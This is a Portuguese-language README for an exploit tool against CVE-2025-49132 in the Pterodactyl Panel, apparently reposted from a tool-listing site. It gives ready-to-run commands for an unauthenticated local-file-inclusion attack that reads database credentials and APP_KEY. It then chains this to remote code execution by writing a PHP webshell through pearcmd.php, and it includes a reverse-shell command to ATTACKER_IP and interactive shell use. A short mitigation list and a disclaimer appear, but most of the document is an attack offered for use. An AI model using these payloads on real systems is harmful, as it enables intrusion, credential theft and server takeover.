CVE-2025-49132 - Exploit do Painel Pterodactyl

⚠️ Aviso: Este repositório foi criado apenas para fins educacionais e de pesquisa como parte da minha pesquisa de segurança para entender e documentar o CVE-2025-49132. Todo o crédito pela descoberta da vulnerabilidade vai para o(s) pesquisador(es) original(is).

  ___ __   __ ___      ___   ___  ___  ___        _  _   ___  _  ____  ___ 
 / __|\ \ / /| __|___ |_  ) / _ \|_  )| __|___   | || | / _ \| ||__ / |_  )
| (__  \ V / | _|___|  / / | (_) |/ / |__ \___|  |_  _| \_, /| ||_ \  / / 
 \___|  \_/  |___|    /___| \___//___||___/        |_|   /_/ |_|___/ /___|

        Painel Pterodactyl - Exploit de LFI não autenticado para RCE

📋 Descrição

CVE-2025-49132 é uma vulnerabilidade de Inclusão de Arquivo Local (LFI) Não Autenticada no Painel Pterodactyl que pode ser escalada para Execução Remota de Código (RCE) através do pearcmd.php do PHP.

A vulnerabilidade existe no endpoint /locales/locale.json, que não sanitiza adequadamente os parâmetros locale e namespace, permitindo que atacantes leiam arquivos de configuração PHP arbitrários e obtenham execução de código.

🎯 Versões Afetadas

⚡ Funcionalidades

• Modo LFI: Leitura de arquivos de configuração PHP (credenciais do banco de dados, APP_KEY, etc.)
• Modo RCE: Execução remota de código via técnica LFI2RCE com pearcmd.php
• Shell Interativo: Shell persistente para execução de múltiplos comandos
• Comando Único: Execução de comando em um único disparo
• Saída Bonita: Saída formatada com código de cores para melhor legibilidade

📦 Instalação

# Clone o repositório
git clone https://github.com/YOUR_USERNAME/CVE-2025-49132.git
cd CVE-2025-49132

# Instale as dependências
pip install requests

Requisitos

• Python 3.6+
• Biblioteca requests
• curl (para o modo RCE)

🚀 Uso

LFI - Ler Arquivos de Configuração

# Ler configuração do banco de dados
python exploit.py -u http://target.com --read -p ../../config -f database

# Ler configuração da aplicação (contém APP_KEY)
python exploit.py -u http://target.com --read -p ../../config -f app

# Ler outras configurações
python exploit.py -u http://target.com --read -p ../../config -f auth
python exploit.py -u http://target.com --read -p ../../config -f session
python exploit.py -u http://target.com --read -p ../../config -f mail

RCE - Execução Remota de Código

# Execução de comando único
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "id"
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "whoami"

# Modo de shell interativo
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR

# Shell reverso
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

Caminhos Comuns do PEAR

📖 Argumentos

🔬 Como Funciona

LFI (Inclusão de Arquivo Local)

O endpoint vulnerável /locales/locale.json aceita os parâmetros locale e namespace:

GET /locales/locale.json?locale=../../config&namespace=database

Isso permite ler qualquer arquivo PHP que retorne um array, incluindo arquivos de configuração do Laravel.

RCE (Execução Remota de Código)

O exploit encadeia a LFI com pearcmd.php para obter RCE:

1. Estágio 1: Usa o comando config-create do pearcmd.php para escrever um webshell PHP

   root@kitploit:~

   /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system(...)?>+/tmp/shell.php
   

2. Estágio 2: Inclui o shell escrito via LFI

   root@kitploit:~

   /locales/locale.json?locale=../../../../../../tmp&namespace=shell&c=<cmd_hex_codificado>
   

📸 Capturas de Tela

LFI - Lendo Configuração do Banco de Dados

════════════════════════════════════════════════════════════
  CONFIGURAÇÃO DO BANCO DE DADOS
════════════════════════════════════════════════════════════

  default: mysql
  connections:
    mysql:
      driver: mysql
      host: 127.0.0.1
      port: 3306
      database: panel
      username: pterodactyl
      password: SecretPassword123

────────────────────────────────────────────────────────────
[+] Configuração extraída com sucesso!

RCE - Execução de Comando

[*] Alvo: http://panel.example.com
[*] Executando comando: id
[*] Escrevendo payload em: /tmp/cmd_abc123.php
[+] Saída:
----------------------------------------
uid=474(wwwrun) gid=477(www) groups=477(www)
----------------------------------------

🛡️ Mitigação

1. Atualize o Painel Pterodactyl para a versão 1.11.11 ou superior
2. Implemente validação adequada de entrada nos parâmetros locale e namespace
3. Utilize uma lista de permissões para valores válidos de locale/namespace
4. Restrinja a diretiva register_argc_argv do PHP

⚠️ Aviso Legal

Esta ferramenta é fornecida apenas para fins educacionais e de testes de segurança autorizados.

• Use esta ferramenta apenas em sistemas que você possua ou tenha permissão explícita por escrito para testar
• O acesso não autorizado a sistemas de computador é ilegal
• O autor não é responsável por qualquer uso indevido ou dano causado por esta ferramenta

Use com responsabilidade e ética.

📚 Referências

• Pterodactyl Panel Oficial
• Pterodactyl Panel no GitHub
• Detalhes do CVE-2025-49132
• CVE-2025-49132: Painel Pterodactyl Permite Execução Remota de Código Arbitrário Não Autenticada
• Técnica de LFI para RCE no PEAR
• Gerador de Cadeia de Filtros PHP
• Inclusão de Arquivo Local para Execução Remota de Código (RCE)

📝 Registro de Alterações

• v1.0.0 - Lançamento inicial
  • Leitura de configuração via LFI
  • RCE via pearcmd
  • Modo de shell interativo
  • Saída formatada e bonita

⭐ Dê uma estrela neste repositório se achou útil!